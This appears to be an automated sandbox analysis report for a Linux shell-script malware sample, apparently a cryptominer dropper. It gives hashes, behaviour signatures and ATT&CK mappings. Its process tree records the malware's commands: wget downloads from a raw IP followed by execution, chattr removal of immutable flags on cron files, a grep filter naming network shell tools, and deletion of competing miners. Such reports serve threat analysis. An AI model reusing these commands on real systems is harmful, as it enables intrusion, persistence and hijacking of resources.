0a22b2662e6f8c5b3024ea5f64a789b66c711ba5d6debafa288177295d1510e7

Analysis

max time kernel
32s
max time network
101s
platform
debian-9_mips
resource
debian9-mipsbe-20260126-en
resource tags

arch:mipsimage:debian9-mipsbe-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/04/2026, 19:19

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General

Target
sh
Size 2KB
Sample260422-x1zdesax21
SHA256 0a22b2662e6f8c5b3024ea5f64a789b66c711ba5d6debafa288177295d1510e7
MD5 f5bd6072161a05f483fbbcd7b2ee1052
SHA1 d48fce1638a1ee74464bd12f4b751ec91b4f0930
SHA512 986b3e0a7b55fccdca96985e0730e0b63ce92b2cc8f8cfe8255970a788d0538657290707b4e455f090e8928ea62fb9064356a9c6ae5a561bba15cd128e9245c8
TLSH
T1E44104BAB4628E30336DC5BD75C9654CA7578AAF491A2E74F043743C27BC32470746A5
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
782	chmod
871	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/.uKet	873	sh

Attempts to change immutable files 22 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
813	grep
816	chattr
788	chattr
790	chattr
794	chattr
804	grep
809	grep
811	chattr
796	chattr
803	chattr
807	chattr
829	chattr
792	grep
798	chattr
821	chattr
822	grep
828	chattr
830	grep
799	grep
817	grep
825	chattr
827	chattr

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-18.dat	upx

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 19 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	mv

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/clean_crontab	sh

/tmp/sh
/tmp/sh
1⤵
- Executes dropped EXE
PID:725
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:735
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:733
- /bin/grep
  grep noexec
  2⤵
  PID:734
- /usr/bin/whoami
  whoami
  2⤵
  PID:743
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*"
  2⤵
  - Reads runtime system information
  PID:745
- /bin/uname
  uname -mp
  2⤵
  PID:763
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:767
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:768
- /usr/bin/expr
  expr -1099235328 "%" 32 + 4
  2⤵
  PID:769
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:772
- /usr/bin/head
  head -c 4
  2⤵
  PID:773
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:771
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:774
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:776
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:777
- /bin/rm
  rm -rf clean
  2⤵
  PID:778
- /usr/bin/wget
  wget --no-check-certificate -q https://204.76.203.196/clean
  2⤵
  PID:779
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /bin/sh
  sh clean
  2⤵
  - Writes file to tmp directory
  PID:783
- - /bin/systemctl
    systemctl disable c3pool_miner
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:784
- - /bin/systemctl
    systemctl stop c3pool_miner
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:787
- - /usr/bin/chattr
    chattr -ia /var/spool/cron/crontabs
    3⤵
    - Attempts to change immutable files
    PID:788
- - /usr/bin/chattr
    chattr -ia /etc/crontab
    3⤵
    - Attempts to change immutable files
    PID:790
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
    3⤵
    - Attempts to change immutable files
    PID:792
- - /bin/mv
    mv /tmp/clean_crontab /etc/crontab
    3⤵
    - Reads runtime system information
    PID:793
- - /usr/bin/chattr
    chattr -ia /etc/cron.hourly
    3⤵
    - Attempts to change immutable files
    PID:794
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily
    3⤵
    - Attempts to change immutable files
    PID:796
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/apt-compat
    3⤵
    - Attempts to change immutable files
    PID:798
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
    3⤵
    - Attempts to change immutable files
    PID:799
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/apt-compat
    3⤵
    - Reads runtime system information
    PID:801
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/bsdmainutils
    3⤵
    - Attempts to change immutable files
    PID:803
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
    3⤵
    - Attempts to change immutable files
    PID:804
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
    3⤵
    - Reads runtime system information
    PID:805
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/dpkg
    3⤵
    - Attempts to change immutable files
    PID:807
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
    3⤵
    - Attempts to change immutable files
    PID:809
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/dpkg
    3⤵
    - Reads runtime system information
    PID:810
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/exim4-base
    3⤵
    - Attempts to change immutable files
    PID:811
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
    3⤵
    - Attempts to change immutable files
    PID:813
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/exim4-base
    3⤵
    - Reads runtime system information
    PID:815
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/logrotate
    3⤵
    - Attempts to change immutable files
    PID:816
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
    3⤵
    - Attempts to change immutable files
    PID:817
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/logrotate
    3⤵
    - Reads runtime system information
    PID:819
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/passwd
    3⤵
    - Attempts to change immutable files
    PID:821
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
    3⤵
    - Attempts to change immutable files
    PID:822
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/passwd
    3⤵
    - Reads runtime system information
    PID:823
- - /usr/bin/chattr
    chattr -ia /etc/cron.weekly
    3⤵
    - Attempts to change immutable files
    PID:825
- - /usr/bin/chattr
    chattr -ia /etc/cron.monthly
    3⤵
    - Attempts to change immutable files
    PID:827
- - /usr/bin/chattr
    chattr -ia /etc/cron.d
    3⤵
    - Attempts to change immutable files
    PID:828
- - /usr/bin/chattr
    chattr -ia /etc/anacrontab
    3⤵
    - Attempts to change immutable files
    PID:829
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
    3⤵
    - Attempts to change immutable files
    PID:830
- - /bin/mv
    mv /tmp/clean_crontab /etc/anacrontab
    3⤵
    - Reads runtime system information
    PID:832
- - /bin/rm
    rm -rf /tmp/sh /tmp/systemd-private-f38c70f7161b47b4934c99a2188e6b1e-systemd-timedated.service-LZ21SW
    3⤵
    PID:834
- - /bin/rm
    rm -rf /var/tmp/systemd-private-f38c70f7161b47b4934c99a2188e6b1e-systemd-timedated.service-UOtLdp
    3⤵
    PID:835
- - /bin/rm
    rm -rf "/dev/shm/*"
    3⤵
    PID:836
- /bin/rm
  rm -rf clean
  2⤵
  PID:838
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:840
- /bin/rm
  rm -rf .uKet
  2⤵
  PID:841
- /bin/grep
  grep -q x86_64
  2⤵
  PID:843
- /bin/grep
  grep -q amd64
  2⤵
  PID:845
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:848
- /bin/grep
  grep -q armv8
  2⤵
  PID:851
- /bin/grep
  grep -q aarch64
  2⤵
  PID:853
- /bin/grep
  grep -q armv7
  2⤵
  PID:855
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:857
- /usr/bin/wget
  wget --no-check-certificate -q https://204.76.203.196/x86_64
  2⤵
  PID:858
- /bin/cat
  cat x86_64
  2⤵
  PID:869
- /bin/chmod
  chmod +x .uKet
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /.uKet
  ./.uKet
  2⤵
  PID:873
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:875
- /bin/rm
  rm -rf i686
  2⤵
  PID:876
- /usr/bin/wget
  wget --no-check-certificate -q https://204.76.203.196/i686
  2⤵
  PID:878

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

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clean

Path /clean
Size 795B
SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5 397ff5e54194072e6d8a44a0d8cc1b27
SHA1 42477b0c3b277b5e907b0a35c644f3291ed30a63
SHA512 ff40c129e3b2891ae280bce97e52ee69aea18ca60ea7901f7efd4cf11d3bf1c4ee48e9eb90e5f045e080ab784ee2a9942c2bcf0a531b7f4602931f63c4b32d74
TLSH
T1DD01288E6722D51420DDD524FAF14F7DAE31F2856D226816248B31FCE5ECA9433E8C36
MD5 SHA1 SHA512 TLSH

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clean_crontab

Path /tmp/clean_crontab
Size 1KB
SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
MD5 30e858769aacd9cc309502f8d5c6aa0f
SHA1 927c06dd4d6cbb5ca02e9505011c8667c47f2d6e
SHA512 f7f6e70925afe54fc2fdaae13a750b3c49fde9fa59d80af321885d270112ebb2291f034037708f1ba8515f3e3e1ca0a493cd1e002895aa699c469e0365ccde3c
TLSH
T17F31745F43004E7D558308E89DA68EC0DA0460B757B4314436AEF6F52F8B332F6A756C
MD5 SHA1 SHA512 TLSH

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clean_crontab

Path /tmp/clean_crontab
Size 3KB
SHA256 2565ab0cb86a8cb7fd37a0401ad22624da886b8df9130a5bd4b566f404130c14
MD5 02f33c9e59b27bcd241e488cd48de072
SHA1 9247eee9b2310d56455beccf41c577ba16b78e3d
SHA512 1eda274264320a72cd58462b6c8a7747990a7eedf836be730b51b92ea6b04a1005aed596f9b9d53c4c8a93001d112450d0c6d83dfe4eee4b91a671623662fb3d
TLSH
T1D0818449B36CA770144C09BC29FD55225AB5053F0D11BA74B49DF25C2B47E9832FAF9C
MD5 SHA1 SHA512 TLSH

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clean_crontab

Path /tmp/clean_crontab
Size 249B
SHA256 777a9112ee093d8683645b031eb6cfeb9ce77274f40575c48ff2054ea24114d1
MD5 db990990933b6f56322725223f13c2bc
SHA1 387303696a796e27f559c73679e979f2a538072d
SHA512 a3764e580bcfe0b2100da8ff2a00bed4936cb2acc9985daef52fb0310a7ed3367a1944a355c3f1dbc92d82c82b54280926736f81bc138efb4f7df1814abee3b5
TLSH
T19ED0A7AC58F5C83414984168B39B6211A41AD066C8A12D1134AF5CF00B7A20450C2414
MD5 SHA1 SHA512 TLSH

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clean_crontab

Path /tmp/clean_crontab
Size 722B
SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
MD5 8f111d100ea459f68d333d63a8ef2205
SHA1 077ca9c46a964de67c0f7765745d5c6f9e2065c3
SHA512 d81767b47fb84aaf435f930356ded574ee9825ec710a2e7c26074860d8a385741d65572740137b6f9686c285a32e2951ca933393b266746988f1737aad059adb
TLSH
T14B019C6A9366B3BF464CDDE166D7BDAC226230641C007D0B94BD2580B24FB625050C6E
MD5 SHA1 SHA512 TLSH

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clean_crontab

Path /tmp/clean_crontab
Size 1KB
SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
MD5 bc4a71cbcaeed4179f25d798257fa980
SHA1 61445721d0b5d86ac0a8386a4ceef450118f4fbb
SHA512 709badb4dd1a15a10b34f82d31ed4bbab81698190d2ec94e2ad3dcdc90d97b893eb61cde72f08e517a8beea08ec1d675385fd42a9e77530981b7d83c6bd3548c
TLSH
T1FE31320172CA19BD16B7189C169BA21CAF6A349B45193610F8CD7460AF70931F571EBF
MD5 SHA1 SHA512 TLSH

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clean_crontab

Path /tmp/clean_crontab
Size 279B
SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
MD5 911a774fe040993b929504f3d9415ab3
SHA1 55ccc8e95097f005abf9f4d91a14394e6d0f5da5
SHA512 1eb8fd8dc6fd444ba2fa3ca7e863894cfb19383e5b20c700ed24aa615402340424d093a761632cf27a3e789ecd548ca972806e154161635da4f97b415d6fc64f
TLSH
T1E1D02BC6EC444330BC1D45A7645B1FA6E0C6167F1A15BCB480F93F10B1E56B830D290E
MD5 SHA1 SHA512 TLSH

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x86_64

Path /x86_64
Size 1.8MB
SHA256 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5 aaa5098c9caafccf15362b017825c64b
SHA1 f5fc002cc1f87c9c907be7e04170e89de4f0bda8
SHA512 682ff60c674cd907f420983c64bfa3d49c8ac5697d53f773366141a86ac62d9822b9bd0c7ccadd8c778c2e5da4c4e42d20ac9c4d8ce6afa6b4ffcaac63bf589b
SSDEEP 49152:EpCKabVQ+9qlNlpjN8H8JZGtucdfFY91ujYIQ+:fBqnN8H8HIazujYIQ+
TLSH
T18B9533D309864BF0BFA2EF3451585D86EA60EE744B7CB2B8F3B0A27436436E5E160475
MD5 SHA1 SHA512 SSDEEP TLSH

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads